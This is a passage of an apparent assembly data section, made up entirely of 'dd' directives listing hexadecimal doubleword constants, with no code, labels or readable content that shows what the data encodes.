6011CC7Eh, 89487C56h dd 71A91678h, 81D45C05h, 9CD1C885h, 5440478Ah, 4E82D609h dd 79808223h, 6B00D064h, 9C78F2B5h, 2E90AE58h, 140CB4E3h dd 0BC8090E1h, 0E79CEAFBh, 6C40354Bh, 6A38EC5Fh, 0DC10B530h dd 7F00BBB6h, 0D3C192FDh, 7C5CD5h, 1ED69C79h, 2646148Ch dd 5E50EB48h, 51FC2400h, 27ECA6C0h, 1C6BC29Bh, 5100E883h dd 11945E5Fh, 70BA6EE6h, 4A6B1240h, 41F201B8h, 416F01B7h dd 101D5F94h, 0CDEF7Ch, 0C8779D93h, 6B1DA7Bh, 5F0D9F78h dd 30056607h, 0F81456D1h, 8012C0A8h, 0B1F525h, 1BC723BCh dd 3D0E745Eh, 0EA7EF70Fh, 7339C25Fh, 7DE446A9h, 7268F206h dd 3BA40060h, 27A5DF40h, 911C8386h, 0BF5F8Eh, 7FFD626Ah dd 0FBD13102h, 38A589Fh, 0ABF96BBFh, 77C7C8E0h, 0F6245A2Fh dd 0E19032CBh, 484A0441h, 0AB0441E0h, 5F5A9583h, 0CEA020ECh dd 0EB00FE18h, 0C1C5650Dh, 0C8C3AAh, 0B202277Eh, 0D4E16422h dd 0A079F22Fh, 0AA1390C8h, 0C5FF00DCh, 45EBE0B5h, 0D338E24Dh dd 0DFAB89D8h, 0A0F965h, 0CBE5022Eh, 0E01E2AC9h, 7D121986h dd 0AF219C1Ah, 8D8B84A8h, 0D91224B8h, 7BF4C0F7h, 0E3751C0Dh dd 4D8B7C01h, 1D218217h, 0EC093022h, 40D19CD4h, 9EE86014h dd 43A582C1h, 0A0610D77h, 0A0B21844h, 7D067EA0h, 3D2E9A1Dh dd 43BD8C40h, 12FCAC36h, 0F3A6C669h, 0DE9D0A18h, 0D50844EEh dd 40D4AE97h, 71764F8Ah, 8B80E901h, 0E52E2B19h, 0CC80443Ch dd 5D609A53h, 2CFC644Ch, 4E1E8A4h, 608002F8h, 406FDE5Eh dd 14A787Fh, 19B4C8h, 0F3B68324h, 0F6289036h, 0AF583DFCh dd 71A201D2h, 4D8ADBA8h, 0A7C87828h, 84406044h, 0A82667C6h dd 91160498h, 60A2A0E4h, 0B69C9782h, 5FEC1064h, 33390203h dd 0F2A00BF3h, 0B3088277h, 3CDAC6h, 9F0C6A18h, 6FDFE1D3h dd 50B5547Ah, 97BCBACBh, 1A0017F8h, 2BFE7FE9h, 0C05F0322h dd 0EA43F811h, 0DA00BCA8h, 9D2AEE33h, 965E4C8Fh, 0B1CF7Ch dd 0BFDAB057h, 0AAAB55h, 33A646B9h, 2CD2BEB4h, 0C8607705h dd 0A4D435F5h, 0F33964F2h, 809049B4h, 84A10C38h, 0A820024Bh dd 0A9AE2Bh, 0F0EA2918h, 9BF7999Ch, 0CA3DBC01h, 0DF614BC5h dd 3C66FCh, 5D0FE8A0h, 4F44D9Ah, 0EC09A0C0h, 0C05EC799h dd 0D3468BF0h, 694B224Eh, 98CC9C24h, 0EB320BC8h, 6C62F997h dd 2C00F459h, 0E8F54D6h, 0F18E0027h, 499788F6h, 28278AE4h dd 1F3440A5h, 78578862h, 0C4A7A8B1h, 0EBDE0750h, 21AECCC1h dd 0C8461261h, 0A100F197h, 0D64720BBh, 6521C992h, 0B82750BAh dd 9D40A168h, 45B1ECh, 71ED3ACh, 0EF6EE096h, 0F73A7A00h dd 7112FAEBh, 0C6B1027Eh, 0B75E7D54h, 8059A041h, 9634410h dd 8381FE4Dh, 680C2842h, 0F6411C28h, 58242834h, 0E0E1279Dh dd 0F97EC8B8h, 0BDF8611Ch, 360A847h, 0A1B45A13h, 26E0C605h dd 0AC5A02h, 0FA66ADA4h, 15E71E21h, 74214C85h, 74606525h dd 79220189h, 0F9C0C3C4h, 88682C1Ch, 0F090A75Ah, 670002F9h dd 0C0ACEB06h, 99A19E64h, 803CB58h, 41095E27h, 41CAB8Ah dd 5940F744h, 5E3ED3E4h, 2B09C092h, 996082D4h, 8807DD58h dd 98851016h, 21FC1880h, 95B4B9CCh, 552068DCh, 0E5D59B14h dd 8118889Ch, 582A463Eh, 48642F2Ch, 0DDE34880h, 0C8604A9Ch dd 6D81BDD4h, 0E0A6C704h, 0C6AC89DBh, 5075A234h, 9A808CE8h dd 50D80FC0h, 0AD36F900h, 45E3664Ah, 0B2DD0AE7h, 0A4ACBACCh dd 198208A4h, 2D72F304h, 5857EC88h, 18C8B87Ah, 0D05F0640h dd 2735F31h, 7CBDD554h, 3B0A8080h, 7E00884Ah, 0B7453F34h dd 1831A1AAh, 113EDC7Dh, 9680421h, 2408C829h, 7E808160h dd 3C33622Eh, 35088034h, 3A2DACEh, 0F9D1E16Ah, 54B0F582h dd 5D17051Ah, 431234Eh, 63D9DE53h, 0F93ABF8h, 6C262B32h dd 0C7AEF4A0h, 1C16F71Dh, 54E5AA8Bh, 2846BDCh, 7E9AF37Ch dd 0E88E665Dh, 6182032h, 348ED2Ch, 80BC89BCh, 0B20DBE3Eh dd 44970025h, 78DEEB95h, 0FA1C4B17h, 9603F454h, 0C2518C28h dd 8AC4C0BDh, 231F00BEh, 57D51404h, 68B863B4h, 83C0035Ch dd 88205EF3h, 0FDE8516h, 0D228802Bh, 0D1DC0D23h, 3A9DEBE9h dd 0F3D39023h, 5E58A005h, 9C9524F2h, 0C0F01E40h, 93863EBAh dd 6200337Eh, 0A1A3D96Ah, 259A5019h, 86A5D61h, 13D54D9h dd 45D94416h, 21F02461h, 9F0005Eh, 60D30E05h, 0D891C041h dd 0DF047864h, 6478A00Fh, 9094BDh, 0B73DF4C1h, 82BA7238h dd 121C3E3Eh, 0CC088C32h, 0B8EFC584h, 0D4540FA0h, 19A42B83h dd 80226374h, 590BF45Dh, 1CEE4E7Dh, 2EBFA700h, 38077927h dd 5E0E7C36h, 9482A29h, 98EC8B9Dh, 96195510h, 1EFE4078h dd 4606C92Ch, 7F00403h, 40C55E18h, 50C46110h, 60409ECh dd 7C96BCA0h, 0E0885CC4h, 0CC8C491Bh, 0B18631C0h, 5E0077D3h dd 0C9F78197h, 95C86BC2h, 24B0CC2Ah, 44A22594h, 3CD1E0D7h dd 9AEB1385h, 0D29320BCh dd 0C4206D70h, 0CFD79h, 95155CC3h, 37213E5Eh, 4011471h dd 92CC1A3Fh, 50798AA5h, 1CB12622h, 46AF3A83h, 0B786915Ah dd 0B696D0h, 4ADA7D20h, 0A194AE43h, 0DF542314h, 0DB90908h dd 88001B5Ch, 787D183h, 893CD2DBh, 6AA060E7h, 0FC5EC9F3h dd 22054800h, 5AEB0FECh, 420889Ch, 0CA919367h, 0A8C05474h dd 540C934h, 53619DCEh, 2CB255h, 9FABE4C2h, 5C285EA8h dd 1EC06CE2h, 8E345126h, 0F60CECB6h, 48661125h, 0E022C004h dd 7A6BE326h, 4401AB01h, 6EC20F67h, 440C92C8h, 0EB891EFCh dd 0B1D7FA10h, 6D468600h, 2C78C263h, 6F3803CBh, 0B398E253h dd 0E1BF0D80h, 0A500F8F4h, 1615E63h, 0D595E3h, 0BC420EF0h dd 3268AE11h, 0EE0073E2h, 74561DB9h, 12B88C57h, 9D6A959h dd 0C4982050h, 9CA499EBh, 7AD68805h, 4AC9A60h, 0F822384Ch dd 6BD2590Bh, 54C0B2ACh, 0CFBF4084h, 647F9C0Fh, 43B72707h dd 0D37010B9h, 2879BA24h, 5CD8F037h, 6FDF685Ah, 0E892D096h dd 615711F1h, 7D0019BCh, 7C5BCB53h, 295BAC01h, 70304017h dd 0AF13ECh, 5CE76B3h, 0E1D09B7Ch, 14232107h, 515B4E7Eh dd 0EB11E0h, 3CC07493h, 9A16DDh, 2005DFBCh, 0B6A2AE39h dd 0C5009B72h, 0DC2769BDh, 7E6179h, 58AD482Ch, 5515B9AFh dd 0B0591C28h, 51D7C709h, 401C5441h, 5B772C0h, 0BD309800h dd 0A1A6D2B3h, 73D70504h, 20498CDCh, 84A009C4h, 0EFCC9895h dd 0A8227C34h, 58B99CCh, 60CBBB1Eh, 1130A219h, 0F312FED5h dd 0FF500A7Dh, 0D65DE0F0h, 0FEA31279h, 54C54CA2h, 26B6503h dd 5B0FD096h, 67781D37h, 5F098221h, 88FA8A7Fh, 6B9C5901h dd 254E6057h, 99D8452Eh, 1EDC8051h, 1B24ACA0h, 0F300943Bh dd 3E8AEED0h, 5023036Ah, 7E9D4432h, 1230CB90h, 0D611AC00h dd 0EDAABD95h, 43FD019Ch, 0D79B85B8h, 4A436E4h, 17E270Eh dd 4B214C98h, 7F64C918h, 0BF803C21h, 3F9460h, 0C75DAB56h dd 7D4565C0h, 9F10795Ch, 93465947h, 967000FBh, 2E3D752Dh dd 5068DE03h, 5E802697h, 244C1277h, 0E14C1DAEh, 225B404h dd 887104B4h, 0B0B63512h, 882F1508h, 0CC4099CFh, 1322E214h dd 0A278013Bh, 98ECC500h, 1380C8BDh, 875EAC03h, 8E346095h dd 433E09ADh, 0B07A9ED2h, 0CC68928h, 100C74A1h, 9CF211h dd 7508E379h, 86BE8BA8h, 716BA701h, 0C68C8974h, 619C0841h dd 931F1447h, 0CCC8F4A5h, 0FCFA00D1h, 52E6E77Eh, 4701984Eh dd 0F3ABB7D4h, 0B048488Bh, 0D2AE1241h, 94CC70B6h, 0EF04899Bh dd 2D0BA252h, 9A20D4FCh, 0AFF3F63Fh, 218C98E1h, 0DD7501FAh dd 0E8439901h, 0DC186F10h, 258453F0h, 3C51B68Eh, 0AC111C03h dd 437AC8BBh, 5BA700A5h, 0C2E78F61h, 3413AA2Ch, 0F0F02DE3h dd 0E428ED8Bh, 2130E6D2h, 5FFC05A2h, 0A060BC1Bh, 8850C6AAh dd 1400E248h, 0F74B3031h, 0B01F981Bh, 0F3C60177h, 0E8DC607Eh dd 104A6EABh, 583C3C40h, 0DD938070h, 0E8BDFE9h, 0F50B2C87h dd 17E6AA20h, 355B5614h, 0B081E85Dh, 4FAC28F6h, 0B634C0h dd 317DA3F3h, 222DE0EBh, 0E79C2904h, 0C8834AC7h, 8760AFF5h dd 7E5B25h, 7AAF9730h, 5F011B4Bh, 0D20C715Ch, 4E3C04F3h dd 0D4E461ADh, 46108BEh, 0C1811CB6h, 0C557B9DEh, 0A3CAEC88h dd 4201D92Eh, 6674852Fh, 2DD4F8C7h, 9D8344F6h, 7916DFD6h dd 98A297ECh, 2E05E221h, 80ACA1E4h, 1944F681h, 0F0726A55h dd 4388D179h, 0ABF951CFh, 17CE20D2h, 600C7104h, 281937Fh dd 6BD114C7h, 89005C26h, 0C8BD1AC0h, 714C1C31h, 830840E8h dd 0D10F0278h, 0F29C25CFh, 0D200F0F2h, 5CA7C079h, 34B859ACh dd 2D660100h, 39E7D605h, 0A01D5823h, 67908897h, 9E7CEB00h dd 801E12E9h, 0A055E64Eh, 8A177D68h, 8924185Dh, 0BA6F00B8h dd 779C1434h, 0C70F201Bh, 0AF043AFh, 8B0A085Fh, 412D14C0h dd 7E10F790h, 5A7AC232h, 2DB98217h, 11C1C40Ch, 2E0F2CE8h dd 2E0480Ch, 1D4E50B0h, 0EB058C59h, 0D4B4AED5h, 47D21688h dd 3528D07Bh, 3B3D6A01h, 0A16280B3h, 0A084F96Bh, 0A2171309h dd 7CCB0589h, 8748FC37h, 8BE068FCh, 0EE6F016h, 73DA7135h dd 0D665443Fh, 0AF1CB036h, 21F86608h, 8D86420h, 5E1002FFh dd 18E61F4Eh, 21026642h, 0E52BAE02h, 1B02F4E4h, 6E1C561Eh dd 0F8C89BA6h, 4C2A60h, 5E055AF8h, 0D8A4A7Dh, 8C0C7500h dd 12C8B6A0h, 897C00FEh, 0B0B52DACh, 6400A259h, 2EBD8BE8h dd 29B93B93h, 0ADFC72D4h, 109A7019h, 8AFD8A9Dh, 6A7964C1h dd 501A5040h, 0B560DEh, 0C3964CE1h, 65BAE564h, 0F025B805h dd 0F409D8E3h, 0FC581A5Dh, 84044B7Ch, 0F690D24Fh, 8069A07Ch dd 8E9B690Ch, 931C3F2Ah, 208BE28h, 560C1777h, 84447A7Dh dd 164B9202h, 0F8880604h, 0F02EA2E8h, 63D200E8h, 9BDA2FACh dd 1D40ADDEh, 576105CAh, 9114775Ah, 0ECCF215Ch, 0A82D99ECh dd 0E86C0Bh, 0BDD81504h, 608885Eh, 58A5452Eh, 2FFE6008h dd 0B4F9E810h, 517FA00h, 44263650h, 408B3260h, 0C4F4C658h dd 0A7E09163h, 100203F1h, 9BC2880h, 8D798EBh, 0B51440B1h dd 921C0764h, 8CAB69Ch, 84007313h, 2713E884h, 98F100E6h dd 3194B68Bh, 95000DF4h, 0C715FC19h, 24CFA0Eh, 3D5621BCh dd 94C6A694h, 2B779207h, 22E06FAAh, 64CEB32Fh, 56B9B0E8h dd 2C5FD4F6h, 0EC27AA28h, 53A048CFh, 14DEF0EBh, 5843AC6Ch dd 0DAC8C4Fh, 0A1E8C510h, 7048C85Ah, 0C4318400h, 403D953Fh dd 64235CD3h, 3B9F470Ah, 5D2700FCh, 4BC84D88h, 72D1E548h dd 0CAE6F700h, 9659C0Dh, 5F180060h, 9B80C644h, 0CCBB15E4h dd 10C51F0Bh, 0E298EC0h, 311B78EBh, 33F60F00h, 1C09D0A4h dd 5CC0961h, 0F0222574h, 0FA6D22EEh, 44FF14E0h, 4EC548h dd 0F4C3FA1h, 0F6B13CFh, 4A2CE02Ah, 0D2F09F80h, 0B00445Bh dd 882B7E42h, 584DE3Fh, 0D4502FB9h, 9D9CC179h, 0A99410A1h dd 8E20059h, 2298A17h, 60A88F04h, 0AF000F4Dh, 262BB665h dd 0F4497Ch, 8BEB301Eh, 0F89F92DEh, 6A3CE37Dh, 0F6190ECCh dd 37140C6h, 9DFFF4A1h, 1D622890h, 0C1A05D50h, 0C8D2D300h dd 0A7916CE1h, 32D04EECh, 892F4F48h, 890899CEh, 8B4A9B18h dd 0E8BC8094h, 87AAE984h, 7EEFC0B9h, 490077F9h, 37802C5Ah dd 4E9E1281h, 0FD3020A2h, 71677D7Bh, 3F2021A8h, 1D5DD5A0h dd 0BD9FF7BEh, 0B2949C00h, 0E3AA9DC0h, 0C47FCE25h, 0C7A70578h dd 0C39CFE64h, 0DE86D87h, 0E0B957Eh, 110C4E9Ah, 0A4720154h dd 0E4DC007Eh, 0C3A6767Eh, 0AA9762D5h, 282CEC60h, 5A617964h dd 1881145Fh, 0D8202426h, 60EC89D2h, 0E071346h, 0E983F2D9h dd 0C33BB370h, 0E86627ABh, 3EC4022h, 0B800F0F2h, 823E74F0h dd 0ACC267h, 45805A95h, 8BB419CAh, 4B777F04h, 44A9CE11h dd 121F8410h, 68D1FB21h, 0E037F7E3h, 83B4205Ah, 0DA13B55Bh dd 34025FBFh, 0F67ED51Eh, 298C0388h, 2DC3EA77h, 828D48A1h dd 4418D110h, 40B85683h, 0FE6D236Ch, 82ECF707h, 614266AAh dd 1DA0605Fh, 214E80A2h, 0AA0EC8A4h, 0A174D259h, 148537A1h dd 28507CE1h, 1A330CFh, 705E54Eh, 60CB02A1h, 6309CC27h dd 4A551812h, 98E4B4h, 0D1BF7EF4h, 4625F863h, 7CD05E1Dh dd 47F58B42h, 0BB64E0EFh, 230F39F1h, 0F077D300h, 0A3392A0Eh dd 9D558003h, 0C91BC47Ch, 582203E9h, 0FCB2000h, 0BE37E021h dd 30008E78h, 6FEF7BA5h, 0EEDE87Eh, 4E062267h, 401C973Fh dd 34320D4Ch, 7E49DE9Ch dd 28FE4108h, 0EB108298h, 9754D19Bh, 0CF88C87Bh, 99EAF509h dd 0D7B091FFh, 6128F608h, 8922AC60h, 11BE82A1h, 72C3ACh dd 0A25A9703h, 4AD0E6FEh, 9A01E45Ch, 1AC501Dh, 0B09BA045h dd 0E4CD593Bh, 3C3A30C0h, 0D5C12B5h, 0CDC4E1B1h, 30196409h dd 64574473h, 89C828AEh, 0F9FF1303h, 0B52F462Bh, 9DFE8008h dd 7278C15Bh, 0FAFC93F4h, 664340F4h, 18C9129Fh, 0C020A95Ch dd 0D11C86DAh, 12020016h, 2A90E3AFh, 88B1598Bh, 8813FD91h dd 0A4B0009Ch, 4B1A8057h, 0F2EC6104h, 0F8C1419Fh, 0D020F9A1h dd 0D8034CEBh, 3D1F9180h, 0F000F578h, 0C4B27783h, 1C57FE42h dd 40270890h, 0D8892BEAh, 2E009650h, 0B528D44h, 904DA03h dd 0E8051BB1h, 64DED481h, 2A7831A9h, 0F15E78CCh, 7109862h dd 8B007609h, 4FF276BBh, 7A18E7E2h, 109C48ACh, 20B07EC7h dd 26B459CDh, 439B0200h, 30B5F2A7h, 33930083h, 0BA192B7Dh dd 0D5E9D927h, 0D0233A5Fh, 21E682ECh, 0F4C856AFh, 2225E4DEh dd 9DF4C46Dh, 4B00C04Dh, 0EA564D5Eh, 38889903h, 73F4CD8Fh dd 0AC6E3A61h, 0EC427AC6h, 92E49C25h, 4FE45ED8h, 87F2E320h dd 2371A34Ah, 0A19FD47Dh, 566157ECh, 3E54E315h, 9BC0020Dh dd 0D61781F2h, 262E4388h, 0D1123AD8h, 3BAAC902h, 0FC960AFCh dd 889C4348h, 33AC60E0h, 4F7A7E0Fh, 137D6059h, 0EA1E99FCh dd 0AE8700BDh, 0E2DA61B0h, 7700DCFEh, 84327E62h, 1C7DC666h dd 42561E21h, 9C28A986h, 0A24548E0h, 80535538h, 8A85F870h dd 5859E763h, 7D8E6479h, 6D6CB4D2h, 3201877Eh, 1DBC2DAh dd 2C2FF61Eh, 0F912FA2Ch, 7086CED6h, 1EF30B68h, 84465915h dd 7AE48805h, 3C84C224h, 0D15C20BEh, 73396F98h, 3EA3B054h dd 5C212CF8h, 192F70A7h, 0A8044C95h, 5D4052C6h, 67C586C2h dd 21CD2300h, 43F6837Dh, 0FD2B03E5h, 0A95AB55Ch, 651B7804h dd 98B4E217h, 4F2804A3h, 4972244Eh, 569C9001h, 7B8E40Eh dd 0EA917DC3h, 0F7C26041h, 0C401E070h, 1D61E2E9h, 0C42B36C8h dd 0CBE48C94h, 8B678F00h, 6E7E5149h, 5E6600BAh, 0A24234ECh dd 7948F0EBh, 0AB5D800Ch, 54237Ch, 123D37E2h, 659DC3F9h dd 0E01A2000h, 498C173Ch, 40E200F3h, 84A343D9h, 7F5F148Ah dd 7DBC38C8h, 34CFC58h, 0A78A6AFh, 0F0803A2Ah, 1501293Bh dd 0E06104D4h, 0D0603871h, 0F3B80197h, 209C478Ah, 0D30BF4E3h dd 9E9F821Fh, 9BBF39C6h, 0E1032A19h, 49BB0488h, 0C0305521h dd 0A7BE4213h, 0B11B7602h, 5D572EB5h, 897D9890h, 94655A27h dd 0EAA0900h, 0A080B281h, 0F64EA656h, 0B8284000h, 0DFC19843h dd 0A48C5884h, 8E005522h, 728109F9h, 4C4FA2h, 0E7296F53h dd 699D5BB5h, 9C01B877h, 0FD6C8293h, 9B60B3ADh, 0E0084B4Dh dd 0C622AAECh, 0BCE40051h, 3F52B921h, 130EA077h, 0C1D7D19Eh dd 0F05D1F17h, 28C0206Fh, 290087EEh, 0B0CAFE56h, 0D19BE4h dd 5761E892h, 88FA9985h, 187B303h, 0DA4BB870h, 75A0A093h dd 33E44A5h, 2A37D879h, 0C7A40F46h, 0ECA971ACh, 1D3862D6h dd 80848C06h, 31EAB268h, 3AABED1Ch, 0B788C48h, 0CC986557h dd 462C0560h, 42A7A014h, 406CDCDCh, 65F1671Bh, 22A6B80Fh dd 99CC2BD9h, 0FCE4DBC8h, 0A10F0104h, 0CAB7CE63h, 0E0F320C3h dd 0A02CDE28h, 94642D09h, 797482EFh, 0F27D2018h, 0D4B8CAA6h dd 49C52E18h, 0E9A8619h, 0B4C7714Eh, 39D09700h, 0FFE44167h dd 0F2458200h, 3471FE48h, 0FB05098Ah, 0CE87A1Eh, 0C0019E67h dd 9AAA8E55h, 167F214Dh, 99380240h, 547308DFh, 15A04E00h dd 9238DB1h, 7AD86022h, 0F9B77683h, 0DD68A5F7h, 4CB023D0h dd 411600A5h, 2EA4A9B4h, 5F4600D8h, 0E63BB57h, 8D283A0Dh dd 3ECBCC3h, 46B57F06h, 1E489BF7h, 4B5EAA6Bh, 68A28AA2h dd 8CD9E7E0h, 4DE8FF85h, 0E955440h, 57D6E55h, 0ABD69409h dd 608C9145h, 0B833DAh, 4D6E787Dh, 40D41D9h, 0CC890A02h dd 2198C0A8h, 825AF08Ch, 0A9F634C2h, 3E5C7940h, 48F4BE00h dd 9A910D24h, 0D2EA5B04h, 30EE8340h, 0EC27E3B4h, 0CD218D0Bh dd 0F812026Bh, 6904007h, 3DC827FBh, 0D59DC8E0h, 0D44400B6h dd 4347C837h, 7F090C82h, 599C3820h, 0BF18CEF0h, 2878017Eh dd 0AD0178Ch, 17C0B450h, 64E2134Ah, 0D1B03900h, 9A10E23Bh dd 188E9900h, 68AE704Bh, 0A55102FEh, 0F0690A01h, 7D01FCF0h dd 0B732D495h, 0F02482C8h, 0EE533333h, 0FDC061C0h, 89808CA7h dd 84568AE7h, 0C3006F47h, 6467A0h, 78DDD1D5h, 0F7F9B471h dd 48B62104h, 8EFA422h, 28AE5704h, 0AD17FE40h, 5F2E224h dd 4E86D714h, 0A0A4B820h, 0B71562h, 4A8D9095h, 976F26ECh dd 85BE0902h, 0C07D13B9h, 4A01A400h, 2BE8C852h, 0B091A701h dd 3293CD39h, 792C8D4h, 4F9DDB5Ah, 1C0E107Dh, 773E100Bh dd 0E88937E0h, 0C6845727h, 0A36D18D0h, 96A6051Ah, 0F38FD9h dd 0EDE63A90h, 8A07D5A4h, 0F9B9EEC2h, 0DFF51DC1h, 0AC431880h dd 0C860799Ah, 165817FCh, 92EC1710h, 0D81F5C00h, 3D15EBh dd 0F4E3B35Fh, 5B728E3Ah, 1BC6CC00h, 15AB61D3h, 0FA221D20h dd 400F5894h, 8B40637Ch, 0D82507D0h, 63625F3Ch, 180055C3h dd 347719B9h, 0C299FBA6h, 0EE2E4EA8h, 0F3F46207h, 9362E50Fh dd 22E0A8F2h, 0A10134BDh, 5B0DE439h, 0DBE8A4DEh, 40C9628Fh dd 7482E042h, 0A911F116h, 26401CF2h, 888C712Ah, 3C40540Ch dd 70041159h, 20B8F40Dh, 60921D80h, 8A7912F1h, 0FC56BF5Ah dd 7D538840h, 985EDB4Fh, 1C34106Ch, 544A01F5h, 70C6C821h dd 71FBEC20h, 289803A9h, 0EED162D2h, 0C66493Dh, 0A8835A75h dd 1FBBE2E8h, 0BBFC5F38h, 0E078B085h, 0C0E89479h, 0EF8D1494h dd 8420D053h, 0F361BF87h, 0B423F47Dh, 0A901E700h, 0E4742B7Eh dd 64C2F8Bh, 98E414F0h, 72D45509h, 4690ECB3h, 0D88A02E1h dd 7C9EF762h, 54F246Ch, 0BC49D064h, 8FA05ACh, 0A0A43529h dd 0B8A60BACh, 4C50197Fh, 89D2332h, 0E6F868A8h, 39B800AEh dd 3B215F0Eh, 9A097D81h, 0D9D79B9Fh, 2FE500E8h, 0F998A499h dd 1C686C63h, 70406484h, 0B8B2602Dh, 0AD192383h, 0E218B711h dd 5A86209Ah, 8B6C6C58h, 0BBDC4835h, 0DED600E5h, 6CC2D517h dd 8226D819h, 5C0E7047h, 0B722A077h, 26C82616h, 439CF5E0h dd 7A26E18Ch, 0DE0064D0h, 862D4E5Fh, 48E6F28Bh, 304C0068h dd 62E48C03h, 280EAC94h, 7B28361Eh, 87D01248h, 6A70B47Ah dd 0ECDA5100h, 0A03947E3h, 8376989h, 29F224F2h, 112DDA00h dd 0C079C215h, 487700DEh, 0A2B3181Bh, 6C356907h, 380068A7h dd 589C9F6h, 3900066h, 0F1CB7B31h, 0DC00EA08h, 0B2E8B407h dd 0E55ED2h, 69FFBEBDh, 0CDF28D7Ch, 890E4F9h, 0DFB4F90Eh dd 14D9C74Fh, 48E86B10h, 3054000Dh, 0ADA9A62Ah, 35006EA2h dd 0C8FED05Ah, 63EA28h, 0FAA1F39h, 482D4385h, 0E90F25E0h dd 63A27749h, 80B5E0BCh, 36A0289h, 63C0115Dh, 0F698FAB4h dd 0FF072AD0h, 0ED15ED6h, 0E0EB0FC2h, 1ED7A6CAh, 40E691DCh dd 75A57992h, 0DE747008h, 5FEB9A1Ch, 6E37D240h, 20303Bh dd 0D8451129h, 42258ED4h, 140198E2h, 755E71Ch, 0A82071B3h dd 0FF30012h, 5794115Eh, 27F8798Fh, 0E8707F28h, 6784B801h dd 733A0260h, 105DACCh, 0F8F5692Bh, 0D030BD2Fh, 2900A948h dd 1495EC68h, 0C0735744h, 41909760h, 0DF00E22Eh, 0C86813EFh dd 3F32AA1h, 0F2796B27h, 95CACA0Fh, 498C9983h, 7DE7B1A8h dd 92B5E300h, 0FFE994F1h dd 0ECBB00A5h, 0BD0AD231h, 0CE1D4AF8h, 278C36E1h, 934995h dd 2D3744ABh, 0B21F6E2Eh, 96F65100h, 0E27A3912h, 49FB141Ch dd 0F2019C06h, 2BE93B7Eh, 4C36ECD2h, 34670F0Ah, 7183ACDAh dd 90758FF6h, 0DFBB4AA7h, 0C56A0960h, 830027FEh, 0E72D9397h dd 1FB0068Ch, 89612867h, 47FA8A00h, 2F864E66h, 68D400BAh dd 8DFE0DDEh, 3E065967h, 835F7E30h, 0A6AD58A0h, 570D3B07h dd 97A0509Bh, 0C87A3747h, 0BD3D83ECh, 0C37C805Dh, 0DDB04F01h dd 227900A8h, 0A74B40C6h, 19C14E0Fh, 8BA6BA5Fh, 131B19F0h dd 4108D8h, 0B050070Dh, 5A7F89CFh, 0BE4F600h, 0FD8042FFh dd 79E50724h, 0C1F5A786h, 0F05B1AD3h, 0E61E9C74h, 0B01D658h dd 629E3808h, 7B3CFCCh, 0C6CBFBC2h, 2550C0DDh, 309730Fh dd 802B9044h, 19141766h, 1813B838h, 807B1A58h, 18741F23h dd 886318C1h, 4081D62Fh, 0D494D8B0h, 6828B72Ah, 376EB4B1h dd 50315070h, 3C7EAB67h, 0CD0C03A3h, 0B780DE73h, 300F5E88h dd 0C4581A44h, 18486A77h, 1F761F49h, 61183ED8h, 430616CAh dd 0CECE0742h, 87868265h, 0EE239480h, 7F0AF188h, 0A44589D5h dd 2A85081Dh, 4802E1DBh, 1026F28Bh, 9D40EA91h, 125C30CFh dd 2308B0D8h, 38E81762h, 0DB213652h, 4A6BC0E1h, 3C001AD2h dd 649BC0FDh, 0A0AA0689h, 60A4F7CCh, 0E1FB488Bh, 80A40CF6h dd 504B054h, 289B2033h, 778EA878h, 42810019h, 3675879Dh dd 470E1EDEh, 40150590h, 0B772BE6h, 119E897Ch, 89D47258h dd 8C650001h, 7A9CB9DDh, 0F0BF8827h, 3C980142h, 0DB4760E0h dd 0FCD5C9F9h, 9900E81Eh, 67BE0A1Dh, 4B086Fh, 0E4A3DFF7h dd 9E2A5C96h, 0CE1C26FEh, 91C0E50Fh, 0E8766A42h, 5C400645h dd 11713596h, 7A1DA300h, 22C4ED3Eh, 0AA901380h, 753200F4h dd 0DC1CC815h, 0BB009570h, 0EBC19DF9h, 0C8BBA2Bh, 0C5093797h dd 0EA00DF11h, 0B6DE3DC8h, 28391BD3h, 940A62h, 42EE0873h dd 6178E849h, 0E45438h, 0B9B57B1Eh, 244E4313h, 8C8273h dd 27E332A9h, 98A0F7E6h, 0CE18B8BAh, 2219887h, 6BF30049h dd 0ACEC6388h, 0E2000856h, 0DABDFF91h, 3CB37D3h, 282C7A6Eh dd 0E6887CE4h, 0CC018492h, 0FD9C158Ah, 0E0E6871Ch, 0FDB1A26h dd 0BD31A299h, 71708541h, 0A5AA83BCh, 91CC05B9h, 9CC02E7Fh dd 3E801FFFh, 5B368347h, 0F5E897B4h, 3B00AD94h, 3CE1A36Dh dd 0EC77C372h, 30D7B31h, 4AA668BCh, 8F902C64h, 0B700FF34h dd 0A73084C1h, 0FBF1270h, 4E9B72F7h, 4C5A2FA0h, 2C904DE9h dd 74FB958h, 5FC094D5h, 71BAC0DFh, 773428h, 1CE3F7C2h dd 3CA6C6D1h, 3A185713h, 2F41F20Fh, 0C479E02Ch, 15045Eh dd 50444F65h, 0DD7F4CE3h, 2F319600h, 812390F9h, 754828h dd 1E352E01h, 805E4D4Eh, 50145C26h, 77F1E1h, 8920FF65h dd 3227A322h, 0EF97C703h, 1D7BC96Ah, 38D350h, 0BD016075h dd 0CE00BAE3h, 9FBF92D7h, 6011F2E7h, 0A1EB287Eh, 0AF500928h dd 81071460h, 0C7550DE5h, 1A14BC6h, 1570CB30h, 80F0873Ch dd 0FE3D8650h, 3BFCE751h, 7C686Fh, 0D983AC36h, 59A6A232h dd 73D3120Fh, 0B67D00FDh, 4803E928h, 6000CC99h, 86F2BE3Fh dd 845C7ACAh, 4A9E0080h, 0FA6CA8AFh, 2CF4A0h, 0A64FD0D3h dd 6962E636h, 0ADC14A00h, 3C3240Ch, 204601CFh, 2135C8D2h dd 0EE98042h, 2BF85339h, 61701888h, 4941B130h, 8F6DEA00h dd 2E1806ABh, 10A001E9h, 320BAD50h, 200AF5F7h, 68001DA5h dd 0FA725ED3h, 298E0DBDh, 0A4747Ah, 890A279Ch, 9B3FCC91h dd 0DCA121Bh, 2E4EA800h, 568BE3h, 1148FEDAh, 8A0B4B35h dd 70EF8500h, 683FB993h, 5440397Ch, 0D238E404h, 8A0806Ah dd 0DC73A1CBh, 73C59400h, 2B1F757Bh, 337C0074h, 0CFB8A788h dd 3901BE19h, 5BB5DE49h, 58D459A3h, 0F3240038h, 8959BC4h dd 114DBF8Bh, 849E2984h, 9AE6BD00h, 3B7E48ABh, 90CC631Ch dd 1F49613h, 54E5550Bh, 604AE52Ah, 820EF5E2h, 0A37D069Ah dd 0A41B2Fh, 6EC61819h, 0ED88E1F3h, 8CFF8109h, 7EBC83B6h dd 801CE887h, 0C15B003Dh, 6BA1CEC5h, 0F3EAA655h, 516A6000h dd 4A6C42A9h, 